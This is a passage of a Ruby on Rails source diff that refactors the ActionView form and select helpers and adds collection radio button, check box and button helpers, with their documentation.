-        def sanitized_method_name
-          @sanitized_method_name ||= @method_name.sub(/\?$/,"")
+        def default_form_builder
+          builder = ActionView::Base.default_form_builder
+          builder.respond_to?(:constantize) ? builder.constantize : builder
         end
     end
 
     class FormBuilder
+      include ActionController::ModelNaming
+
       # The methods which wrap a form helper call.
       class_attribute :field_helpers
-      self.field_helpers = FormHelper.instance_method_names - %w(form_for convert_to_model)
+      self.field_helpers = FormHelper.instance_methods - [:form_for, :convert_to_model, :model_name_from_record_or_class]
 
       attr_accessor :object_name, :object, :options
 
-      attr_reader :multipart, :parent_builder
+      attr_reader :multipart, :parent_builder, :index
       alias :multipart? :multipart
 
       def multipart=(multipart)
@@ -1241,11 +1184,16 @@ module ActionView
         self
       end
 
-      def initialize(object_name, object, template, options, proc)
+      def initialize(object_name, object, template, options, block=nil)
+        if block
+          ActiveSupport::Deprecation.warn(
+            "Giving a block to FormBuilder is deprecated and has no effect anymore.")
+        end
+
         @nested_child_index = {}
-        @object_name, @object, @template, @options, @proc = object_name, object, template, options, proc
+        @object_name, @object, @template, @options = object_name, object, template, options
         @parent_builder = options[:parent_builder]
-        @default_options = @options ? @options.slice(:index) : {}
+        @default_options = @options ? @options.slice(:index, :namespace) : {}
         if @object_name.to_s.match(/\[\]$/)
           if object ||= @template.instance_variable_get("@#{Regexp.last_match.pre_match}") and object.respond_to?(:to_param)
             @auto_index = object.to_param
@@ -1254,9 +1202,10 @@ module ActionView
           end
         end
         @multipart = nil
+        @index = options[:index] || options[:child_index]
       end
 
-      (field_helpers - %w(label check_box radio_button fields_for hidden_field file_field)).each do |selector|
+      (field_helpers - [:label, :check_box, :radio_button, :fields_for, :hidden_field, :file_field]).each do |selector|
         class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
           def #{selector}(method, options = {})  # def text_field(method, options = {})
             @template.send(                      #   @template.send(
@@ -1272,6 +1221,7 @@ module ActionView
         fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options?
         fields_options[:builder] ||= options[:builder]
         fields_options[:parent_builder] = self
+        fields_options[:namespace] = options[:namespace]
 
         case record_name
         when String, Symbol
@@ -1280,16 +1230,18 @@ module ActionView
           end
         else
           record_object = record_name.is_a?(Array) ? record_name.last : record_name
-          record_name   = ActiveModel::Naming.param_key(record_object)
+          record_name   = model_name_from_record_or_class(record_object).param_key
         end
 
         index = if options.has_key?(:index)
-          "[#{options[:index]}]"
+          options[:index]
         elsif defined?(@auto_index)
           self.object_name = @object_name.to_s.sub(/\[\]$/,"")
-          "[#{@auto_index}]"
+          @auto_index
         end
-        record_name = "#{object_name}#{index}[#{record_name}]"
+
+        record_name = index ? "#{object_name}[#{index}][#{record_name}]" : "#{object_name}[#{record_name}]"
+        fields_options[:child_index] = index
 
         @template.fields_for(record_name, record_object, fields_options, &block)
       end
@@ -1349,6 +1301,50 @@ module ActionView
         @template.submit_tag(value, options)
       end
 
+      # Add the submit button for the given form. When no value is given, it checks
+      # if the object is a new resource or not to create the proper label:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.button %>
+      #   <% end %>
+      #
+      # In the example above, if @post is a new record, it will use "Create Post" as
+      # button label, otherwise, it uses "Update Post".
+      #
+      # Those labels can be customized using I18n, under the helpers.submit key
+      # (the same as submit helper) and accept the %{model} as translation interpolation:
+      #
+      #   en:
+      #     helpers:
+      #       submit:
+      #         create: "Create a %{model}"
+      #         update: "Confirm changes to %{model}"
+      #
+      # It also searches for a key specific for the given object:
+      #
+      #   en:
+      #     helpers:
+      #       submit:
+      #         post:
+      #           create: "Add %{model}"
+      #
+      # ==== Examples
+      #   button("Create a post")
+      #   # => <button name='button' type='submit'>Create post</button>
+      #
+      #   button do
+      #     content_tag(:strong, 'Ask me!')
+      #   end
+      #   # => <button name='button' type='submit'>
+      #   #      <strong>Ask me!</strong>
+      #   #    </button>
+      #
+      def button(value = nil, options = {}, &block)
+        value, options = nil, value if value.is_a?(Hash)
+        value ||= submit_default_value
+        @template.button_tag(value, options, &block)
+      end
+
       def emitted_hidden_id?
         @emitted_hidden_id ||= nil
       end
@@ -1394,7 +1390,8 @@ module ActionView
             explicit_child_index = options[:child_index]
             output = ActiveSupport::SafeBuffer.new
             association.each do |child|
-              output << fields_for_nested_model("#{name}[#{explicit_child_index || nested_child_index(name)}]", child, options, block)
+              options[:child_index] = nested_child_index(name) unless explicit_child_index
+              output << fields_for_nested_model("#{name}[#{options[:child_index]}]", child, options, block)
             end
             output
           elsif association
@@ -1415,17 +1412,10 @@ module ActionView
           @nested_child_index[name] ||= -1
           @nested_child_index[name] += 1
         end
-
-        def convert_to_model(object)
-          object.respond_to?(:to_model) ? object.to_model : object
-        end
     end
   end
 
   ActiveSupport.on_load(:action_view) do
-    class ActionView::Base
-      cattr_accessor :default_form_builder
-      @@default_form_builder = ::ActionView::Helpers::FormBuilder
-    end
+    cattr_accessor(:default_form_builder) { ::ActionView::Helpers::FormBuilder }
   end
 end
diff --git a/actionpack/lib/action_view/helpers/form_options_helper.rb b/actionpack/lib/action_view/helpers/form_options_helper.rb
index f895cad058..e4f4ebc7ff 100644
--- a/actionpack/lib/action_view/helpers/form_options_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_options_helper.rb
@@ -1,7 +1,6 @@
 require 'cgi'
 require 'erb'
 require 'action_view/helpers/form_helper'
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/string/output_safety'
 
 module ActionView
@@ -134,7 +133,7 @@ module ActionView
       #
       # ==== Gotcha
       #
-      # The HTML specification says when +multiple+ parameter passed to select and all options got deselected 
+      # The HTML specification says when +multiple+ parameter passed to select and all options got deselected
       # web browsers do not send any value to server. Unfortunately this introduces a gotcha:
       # if an +User+ model has many +roles+ and have +role_ids+ accessor, and in the form that edits roles of the user
       # the user deselects all roles from +role_ids+ multiple select box, no +role_ids+ parameter is sent. So,
@@ -153,8 +152,10 @@ module ActionView
       # form, and parameters extraction gets the last occurrence of any repeated
       # key in the query string, that works for ordinary forms.
       #
+      # In case if you don't want the helper to generate this hidden field you can specify <tt>:include_blank => false</tt> option.
+      #
       def select(object, method, choices, options = {}, html_options = {})
-        InstanceTag.new(object, method, self, options.delete(:object)).to_select_tag(choices, options, html_options)
+        Tags::Select.new(object, method, self, choices, options, html_options).render
       end
 
       # Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of
@@ -164,7 +165,9 @@ module ActionView
       #
       # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are methods to be called on each member
       # of +collection+. The return values are used as the +value+ attribute and contents of each
-      # <tt><option></tt> tag, respectively.
+      # <tt><option></tt> tag, respectively. They can also be any object that responds to +call+, such
+      # as a +proc+, that will be called for each member of the +collection+ to
+      # retrieve the value/text.
       #
       # Example object structure for use with this method:
       #   class Post < ActiveRecord::Base
@@ -188,10 +191,9 @@ module ActionView
       #     <option value="3">M. Clark</option>
       #   </select>
       def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})
-        InstanceTag.new(object, method, self, options.delete(:object)).to_collection_select_tag(collection, value_method, text_method, options, html_options)
+        Tags::CollectionSelect.new(object, method, self, collection, value_method, text_method, options, html_options).render
       end
 
-
       # Returns <tt><select></tt>, <tt><optgroup></tt> and <tt><option></tt> tags for the collection of existing return values of
       # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
       # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
@@ -240,7 +242,7 @@ module ActionView
       #   </select>
       #
       def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
-        InstanceTag.new(object, method, self, options.delete(:object)).to_grouped_collection_select_tag(collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
+        Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
       end
 
       # Return select and option tags for the given object and method, using
@@ -261,7 +263,6 @@ module ActionView
       # Finally, this method supports a <tt>:default</tt> option, which selects
       # a default ActiveSupport::TimeZone if the object's time zone is +nil+.
       #
-      # Examples:
       #   time_zone_select( "user", "time_zone", nil, :include_blank => true)
       #
       #   time_zone_select( "user", "time_zone", nil, :default => "Pacific Time (US & Canada)" )
@@ -274,7 +275,7 @@ module ActionView
       #
       #   time_zone_select( "user", "time_zone", ActiveSupport::TimeZone.all.sort, :model => ActiveSupport::TimeZone)
       def time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {})
-        InstanceTag.new(object, method, self,  options.delete(:object)).to_time_zone_select_tag(priority_zones, options, html_options)
+        Tags::TimeZoneSelect.new(object, method, self, priority_zones, options, html_options).render
       end
 
       # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container
@@ -285,58 +286,77 @@ module ActionView
       #
       # Examples (call, result):
       #   options_for_select([["Dollar", "$"], ["Kroner", "DKK"]])
-      #     <option value="$">Dollar</option>\n<option value="DKK">Kroner</option>
+      #   # <option value="$">Dollar</option>
+      #   # <option value="DKK">Kroner</option>
       #
       #   options_for_select([ "VISA", "MasterCard" ], "MasterCard")
-      #     <option>VISA</option>\n<option selected="selected">MasterCard</option>
+      #   # <option>VISA</option>
+      #   # <option selected="selected">MasterCard</option>
       #
       #   options_for_select({ "Basic" => "$20", "Plus" => "$40" }, "$40")
-      #     <option value="$20">Basic</option>\n<option value="$40" selected="selected">Plus</option>
+      #   # <option value="$20">Basic</option>
+      #   # <option value="$40" selected="selected">Plus</option>
       #
       #   options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
-      #     <option selected="selected">VISA</option>\n<option>MasterCard</option>\n<option selected="selected">Discover</option>
+      #   # <option selected="selected">VISA</option>
+      #   # <option>MasterCard</option>
+      #   # <option selected="selected">Discover</option>
       #
       # You can optionally provide html attributes as the last element of the array.
       #
       # Examples:
       #   options_for_select([ "Denmark", ["USA", {:class => 'bold'}], "Sweden" ], ["USA", "Sweden"])
-      #     <option value="Denmark">Denmark</option>\n<option value="USA" class="bold" selected="selected">USA</option>\n<option value="Sweden" selected="selected">Sweden</option>
+      #   # <option value="Denmark">Denmark</option>
+      #   # <option value="USA" class="bold" selected="selected">USA</option>
+      #   # <option value="Sweden" selected="selected">Sweden</option>
       #
       #   options_for_select([["Dollar", "$", {:class => "bold"}], ["Kroner", "DKK", {:onclick => "alert('HI');"}]])
-      #     <option value="$" class="bold">Dollar</option>\n<option value="DKK" onclick="alert('HI');">Kroner</option>
+      #   # <option value="$" class="bold">Dollar</option>
+      #   # <option value="DKK" onclick="alert('HI');">Kroner</option>
       #
       # If you wish to specify disabled option tags, set +selected+ to be a hash, with <tt>:disabled</tt> being either a value
       # or array of values to be disabled. In this case, you can use <tt>:selected</tt> to specify selected option tags.
       #
       # Examples:
       #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :disabled => "Super Platinum")
-      #     <option value="Free">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #   # <option value="Free">Free</option>
+      #   # <option value="Basic">Basic</option>
+      #   # <option value="Advanced">Advanced</option>
+      #   # <option value="Super Platinum" disabled="disabled">Super Platinum</option>
       #
       #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :disabled => ["Advanced", "Super Platinum"])
-      #     <option value="Free">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced" disabled="disabled">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #   # <option value="Free">Free</option>
+      #   # <option value="Basic">Basic</option>
+      #   # <option value="Advanced" disabled="disabled">Advanced</option>
+      #   # <option value="Super Platinum" disabled="disabled">Super Platinum</option>
       #
       #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :selected => "Free", :disabled => "Super Platinum")
-      #     <option value="Free" selected="selected">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #   # <option value="Free" selected="selected">Free</option>
+      #   # <option value="Basic">Basic</option>
+      #   # <option value="Advanced">Advanced</option>
+      #   # <option value="Super Platinum" disabled="disabled">Super Platinum</option>
       #
       # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
       def options_for_select(container, selected = nil)
         return container if String === container
 
-        selected, disabled = extract_selected_and_disabled(selected).map do | r |
-           Array.wrap(r).map { |item| item.to_s }
+        selected, disabled = extract_selected_and_disabled(selected).map do |r|
+          Array(r).map { |item| item.to_s }
         end
 
         container.map do |element|
           html_attributes = option_html_attributes(element)
           text, value = option_text_and_value(element).map { |item| item.to_s }
-          selected_attribute = ' selected="selected"' if option_value_selected?(value, selected)
-          disabled_attribute = ' disabled="disabled"' if disabled && option_value_selected?(value, disabled)
-          %(<option value="#{ERB::Util.html_escape(value)}"#{selected_attribute}#{disabled_attribute}#{html_attributes}>#{ERB::Util.html_escape(text)}</option>)
-        end.join("\n").html_safe
 
+          html_attributes[:selected] = 'selected' if option_value_selected?(value, selected)
+          html_attributes[:disabled] = 'disabled' if disabled && option_value_selected?(value, disabled)
+          html_attributes[:value] = value
+
+          content_tag_string(:option, text, html_attributes)
+        end.join("\n").html_safe
       end
 
-      # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the
+      # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning
       # the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
       # Example:
       #   options_from_collection_for_select(@people, 'id', 'name')
@@ -362,12 +382,13 @@ module ActionView
       # should produce the desired results.
       def options_from_collection_for_select(collection, value_method, text_method, selected = nil)
         options = collection.map do |element|
-          [element.send(text_method), element.send(value_method)]
+          [value_for_collection(element, text_method), value_for_collection(element, value_method)]
         end
         selected, disabled = extract_selected_and_disabled(selected)
-        select_deselect = {}
-        select_deselect[:selected] = extract_values_from_collection(collection, value_method, selected)
-        select_deselect[:disabled] = extract_values_from_collection(collection, value_method, disabled)
+        select_deselect = {
+          :selected => extract_values_from_collection(collection, value_method, selected),
+          :disabled => extract_values_from_collection(collection, value_method, disabled)
+        }
 
         options_for_select(options, select_deselect)
       end
@@ -420,10 +441,10 @@ module ActionView
       # wrap the output in an appropriate <tt><select></tt> tag.
       def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil)
         collection.map do |group|
-          group_label_string = eval("group.#{group_label_method}")
-          "<optgroup label=\"#{ERB::Util.html_escape(group_label_string)}\">" +
-            options_from_collection_for_select(eval("group.#{group_method}"), option_key_method, option_value_method, selected_key) +
-            '</optgroup>'
+          option_tags = options_from_collection_for_select(
+            group.send(group_method), option_key_method, option_value_method, selected_key)
+
+          content_tag(:optgroup, option_tags, :label => group.send(group_label_method))
         end.join.html_safe
       end
 
@@ -438,8 +459,11 @@ module ActionView
       # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
       #   which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
       #   as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>.
-      # * +prompt+ - set to true or a prompt string. When the select element doesn't have a value yet, this
+      #
+      # Options:
+      # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this
       #   prepends an option with a generic prompt - "Please select" - or the given prompt string.
+      # * <tt>:divider</tt> - the divider for the options groups.
       #
       # Sample usage (Array):
       #   grouped_options = [
@@ -452,8 +476,8 @@ module ActionView
       #
       # Sample usage (Hash):
       #   grouped_options = {
-      #    'North America' => [['United States','US'], 'Canada'],
-      #    'Europe' => ['Denmark','Germany','France']
+      #     'North America' => [['United States','US'], 'Canada'],
+      #     'Europe' => ['Denmark','Germany','France']
       #   }
       #   grouped_options_for_select(grouped_options)
       #
@@ -468,19 +492,54 @@ module ActionView
       #     <option value="Canada">Canada</option>
       #   </optgroup>
       #
+      # Sample usage (divider):
+      #   grouped_options = [
+      #     [['United States','US'], 'Canada'],
+      #     ['Denmark','Germany','France']
+      #   ]
+      #   grouped_options_for_select(grouped_options, nil, divider: '---------')
+      #
+      # Possible output:
+      #   <optgroup label="---------">
+      #     <option value="Denmark">Denmark</option>
+      #     <option value="Germany">Germany</option>
+      #     <option value="France">France</option>
+      #   </optgroup>
+      #   <optgroup label="---------">
+      #     <option value="US">United States</option>
+      #     <option value="Canada">Canada</option>
+      #   </optgroup>
+      #
       # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
       # wrap the output in an appropriate <tt><select></tt> tag.
-      def grouped_options_for_select(grouped_options, selected_key = nil, prompt = nil)
-        body = ''
-        body << content_tag(:option, prompt, { :value => "" }, true) if prompt
+      def grouped_options_for_select(grouped_options, selected_key = nil, options = {})
+        if options.is_a?(Hash)
+          prompt  = options[:prompt]
+          divider = options[:divider]
+        else
+          prompt  = options
+          options = {}
+          ActiveSupport::Deprecation.warn "Passing the prompt to grouped_options_for_select as an argument is deprecated. Please use an options hash like `{ prompt: #{prompt.inspect} }`."
+        end
+
+        body = "".html_safe
+
+        if prompt
+          body.safe_concat content_tag(:option, prompt_text(prompt), :value => "")
+        end
 
         grouped_options = grouped_options.sort if grouped_options.is_a?(Hash)
 
-        grouped_options.each do |group|
-          body << content_tag(:optgroup, options_for_select(group[1], selected_key), :label => group[0])
+        grouped_options.each do |container|
+          if divider
+            label = divider
+          else
+            label, container = container
+          end
+          body.safe_concat content_tag(:optgroup, options_for_select(container, selected_key), :label => label)
         end
 
-        body.html_safe
+        body
       end
 
       # Returns a string of option tags for pretty much any time zone in the
@@ -502,42 +561,164 @@ module ActionView
       # NOTE: Only the option tags are returned, you have to wrap this call in
       # a regular HTML select tag.
       def time_zone_options_for_select(selected = nil, priority_zones = nil, model = ::ActiveSupport::TimeZone)
-        zone_options = ""
+        zone_options = "".html_safe
 
         zones = model.all
         convert_zones = lambda { |list| list.map { |z| [ z.to_s, z.name ] } }
 
         if priority_zones
-	        if priority_zones.is_a?(Regexp)
-            priority_zones = model.all.find_all {|z| z =~ priority_zones}
-	        end
-          zone_options += options_for_select(convert_zones[priority_zones], selected)
-          zone_options += "<option value=\"\" disabled=\"disabled\">-------------</option>\n"
+          if priority_zones.is_a?(Regexp)
+            priority_zones = zones.select { |z| z =~ priority_zones }
+          end
+
+          zone_options.safe_concat options_for_select(convert_zones[priority_zones], selected)
+          zone_options.safe_concat content_tag(:option, '-------------', :value => '', :disabled => 'disabled')
+          zone_options.safe_concat "\n"
 
-          zones = zones.reject { |z| priority_zones.include?( z ) }
+          zones.reject! { |z| priority_zones.include?(z) }
         end
 
-        zone_options += options_for_select(convert_zones[zones], selected)
-        zone_options.html_safe
+        zone_options.safe_concat options_for_select(convert_zones[zones], selected)
+      end
+
+      # Returns radio button tags for the collection of existing return values
+      # of +method+ for +object+'s class. The value returned from calling
+      # +method+ on the instance +object+ will be selected. If calling +method+
+      # returns +nil+, no selection is made.
+      #
+      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
+      # methods to be called on each member of +collection+. The return values
+      # are used as the +value+ attribute and contents of each radio button tag,
+      # respectively. They can also be any object that responds to +call+, such
+      # as a +proc+, that will be called for each member of the +collection+ to
+      # retrieve the value/text.
+      #
+      # Example object structure for use with this method:
+      #   class Post < ActiveRecord::Base
+      #     belongs_to :author
+      #   end
+      #   class Author < ActiveRecord::Base
+      #     has_many :posts
+      #     def name_with_initial
+      #       "#{first_name.first}. #{last_name}"
+      #     end
+      #   end
+      #
+      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+      #
+      # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
+      #   <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
+      #   <label for="post_author_id_1">D. Heinemeier Hansson</label>
+      #   <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+      #   <label for="post_author_id_2">D. Thomas</label>
+      #   <input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
+      #   <label for="post_author_id_3">M. Clark</label>
+      #
+      # It is also possible to customize the way the elements will be shown by
+      # giving a block to the method:
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+      #     b.label { b.radio_button }
+      #   end
+      #
+      # The argument passed to the block is a special kind of builder for this
+      # collection, which has the ability to generate the label and radio button
+      # for the current item in the collection, with proper text and value.
+      # Using it, you can change the label and radio button display order or
+      # even use the label as wrapper, as in the example above.
+      #
+      # The builder methods <tt>label</tt> and <tt>radio_button</tt> also accept
+      # extra html options:
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+      #     b.label(:class => "radio_button") { b.radio_button(:class => "radio_button") }
+      #   end
+      #
+      # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
+      # <tt>value</tt>, which are the current item being rendered, its text and value methods,
+      # respectively. You can use them like this:
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+      #      b.label(:"data-value" => b.value) { b.radio_button + b.text }
+      #   end
+      def collection_radio_buttons(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        Tags::CollectionRadioButtons.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
+      end
+
+      # Returns check box tags for the collection of existing return values of
+      # +method+ for +object+'s class. The value returned from calling +method+
+      # on the instance +object+ will be selected. If calling +method+ returns
+      # +nil+, no selection is made.
+      #
+      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
+      # methods to be called on each member of +collection+. The return values
+      # are used as the +value+ attribute and contents of each check box tag,
+      # respectively. They can also be any object that responds to +call+, such
+      # as a +proc+, that will be called for each member of the +collection+ to
+      # retrieve the value/text.
+      #
+      # Example object structure for use with this method:
+      #   class Post < ActiveRecord::Base
+      #     has_and_belongs_to_many :author
+      #   end
+      #   class Author < ActiveRecord::Base
+      #     has_and_belongs_to_many :posts
+      #     def name_with_initial
+      #       "#{first_name.first}. #{last_name}"
+      #     end
+      #   end
+      #
+      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+      #
+      # If <tt>@post.author_ids</tt> is already <tt>[1]</tt>, this would return:
+      #   <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
+      #   <label for="post_author_ids_1">D. Heinemeier Hansson</label>
+      #   <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+      #   <label for="post_author_ids_2">D. Thomas</label>
+      #   <input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
+      #   <label for="post_author_ids_3">M. Clark</label>
+      #   <input name="post[author_ids][]" type="hidden" value="" />
+      #
+      # It is also possible to customize the way the elements will be shown by
+      # giving a block to the method:
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #     b.label { b.check_box }
+      #   end
+      #
+      # The argument passed to the block is a special kind of builder for this
+      # collection, which has the ability to generate the label and check box
+      # for the current item in the collection, with proper text and value.
+      # Using it, you can change the label and check box display order or even
+      # use the label as wrapper, as in the example above.
+      #
+      # The builder methods <tt>label</tt> and <tt>check_box</tt> also accept
+      # extra html options:
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #     b.label(:class => "check_box") { b.check_box(:class => "check_box") }
+      #   end
+      #
+      # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
+      # <tt>value</tt>, which are the current item being rendered, its text and value methods,
+      # respectively. You can use them like this:
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #      b.label(:"data-value" => b.value) { b.check_box + b.text }
+      #   end
+      def collection_check_boxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        Tags::CollectionCheckBoxes.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
       end
 
       private
         def option_html_attributes(element)
-          return "" unless Array === element
-          html_attributes = []
-          element.select { |e| Hash === e }.reduce({}, :merge).each do |k, v|
-            html_attributes << " #{k}=\"#{ERB::Util.html_escape(v.to_s)}\""
+          if Array === element
+            element.select { |e| Hash === e }.reduce({}, :merge!)
+          else
+            {}
           end
-          html_attributes.join
         end
 
         def option_text_and_value(option)
           # Options are [text, value] pairs or strings used for both.
-          case
-          when Array === option
-            option = option.reject { |e| Hash === e }
-            [option.first, option.last]
-          when !option.is_a?(String) && option.respond_to?(:first) && option.respond_to?(:last)
+          if !option.is_a?(String) && option.respond_to?(:first) && option.respond_to?(:last)
+            option = option.reject { |e| Hash === e } if Array === option
             [option.first, option.last]
           else
             [option, option]
@@ -545,20 +726,17 @@ module ActionView
         end
 
         def option_value_selected?(value, selected)
-          if selected.respond_to?(:include?) && !selected.is_a?(String)
-            selected.include? value
-          else
-            value == selected
-          end
+          Array(selected).include? value
         end
 
         def extract_selected_and_disabled(selected)
           if selected.is_a?(Proc)
-            [ selected, nil ]
+            [selected, nil]
           else
             selected = Array.wrap(selected)
             options = selected.extract_options!.symbolize_keys
-            [ options.include?(:selected) ? options[:selected] : selected, options[:disabled] ]
+            selected_items = options.fetch(:selected, selected)
+            [selected_items, options[:disabled]]
           end
         end
 
@@ -571,68 +749,13 @@ module ActionView
             selected
           end
         end
-    end
-
-    class InstanceTag #:nodoc:
-      include FormOptionsHelper
 
-      def to_select_tag(choices, options, html_options)
-        selected_value = options.has_key?(:selected) ? options[:selected] : value(object)
-
-        # Grouped choices look like this:
-        #
-        #   [nil, []]
-        #   { nil => [] }
-        #
-        if !choices.empty? && Array === choices.first.last
-          option_tags = grouped_options_for_select(choices, :selected => selected_value, :disabled => options[:disabled])
-        else
-          option_tags = options_for_select(choices, :selected => selected_value, :disabled => options[:disabled])
+        def value_for_collection(item, value)
+          value.respond_to?(:call) ? value.call(item) : item.send(value)
         end
 
-        select_content_tag(option_tags, options, html_options)
-      end
-
-      def to_collection_select_tag(collection, value_method, text_method, options, html_options)
-        selected_value = options.has_key?(:selected) ? options[:selected] : value(object)
-        select_content_tag(
-          options_from_collection_for_select(collection, value_method, text_method, :selected => selected_value, :disabled => options[:disabled]), options, html_options
-        )
-      end
-
-      def to_grouped_collection_select_tag(collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
-        select_content_tag(
-          option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, value(object)), options, html_options
-        )
-      end
-
-      def to_time_zone_select_tag(priority_zones, options, html_options)
-        select_content_tag(
-            time_zone_options_for_select(value(object) || options[:default], priority_zones, options[:model] || ActiveSupport::TimeZone), options, html_options
-        )
-      end
-
-      private
-        def add_options(option_tags, options, value = nil)
-          if options[:include_blank]
-            option_tags = "<option value=\"\">#{ERB::Util.html_escape(options[:include_blank]) if options[:include_blank].kind_of?(String)}</option>\n" + option_tags
-          end
-          if value.blank? && options[:prompt]
-            prompt = options[:prompt].kind_of?(String) ? options[:prompt] : I18n.translate('helpers.select.prompt', :default => 'Please select')
-            option_tags = "<option value=\"\">#{ERB::Util.html_escape(prompt)}</option>\n" + option_tags
-          end
-          option_tags.html_safe
-        end
-
-        def select_content_tag(option_tags, options, html_options)
-          html_options = html_options.stringify_keys
-          add_default_name_and_id(html_options)
-          select = content_tag("select", add_options(option_tags, options, value(object)), html_options)
-          if html_options["multiple"]
-            tag("input", :disabled => html_options["disabled"], :name => html_options["name"], :type => "hidden", :value => "") + select 
-          else
-            select
-          end
+        def prompt_text(prompt)
+          prompt = prompt.kind_of?(String) ? prompt : I18n.translate('helpers.select.prompt', :default => 'Please select')
         end
     end
 
@@ -652,6 +775,14 @@ module ActionView
       def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
         @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_options.merge(html_options))
       end
+
+      def collection_check_boxes(method, collection, value_method, text_method, options = {}, html_options = {})
+        @template.collection_check_boxes(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
+      end
+
+      def collection_radio_buttons(method, collection, value_method, text_method, options = {}, html_options = {})
+        @template.collection_radio_buttons(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
+      end
     end
   end
 end
diff --git a/actionpack/lib/action_view/helpers/form_tag_helper.rb b/actionpack/lib/action_view/helpers/form_tag_helper.rb
index 1424a3584d..ace457df2e 100644
--- a/actionpack/lib/action_view/helpers/form_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_tag_helper.rb
@@ -1,12 +1,12 @@
 require 'cgi'
 require 'action_view/helpers/tag_helper'
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/module/attribute_accessors'
 
 module ActionView
   # = Action View Form Tag Helpers
   module Helpers
-    # Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like
+    # Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like
     # FormHelper does. Instead, you provide the names and values manually.
     #
     # NOTE: The HTML options <tt>disabled</tt>, <tt>readonly</tt>, and <tt>multiple</tt> can all be treated as booleans. So specifying
@@ -17,6 +17,9 @@ module ActionView
       include UrlHelper
       include TextHelper
 
+      mattr_accessor :embed_authenticity_token_in_remote_forms
+      self.embed_authenticity_token_in_remote_forms = false
+
       # Starts a form tag that points the action to an url configured with <tt>url_for_options</tt> just like
       # ActionController::Base#url_for. The method for the form defaults to POST.
       #
@@ -27,7 +30,11 @@ module ActionView
       #   is added to simulate the verb over post.
       # * <tt>:authenticity_token</tt> - Authenticity token to use in the form. Use only if you need to
       #   pass custom authenticity token string, or to not add authenticity_token field at all
-      #   (by passing <tt>false</tt>).
+      #   (by passing <tt>false</tt>).  Remote forms may omit the embedded authenticity token
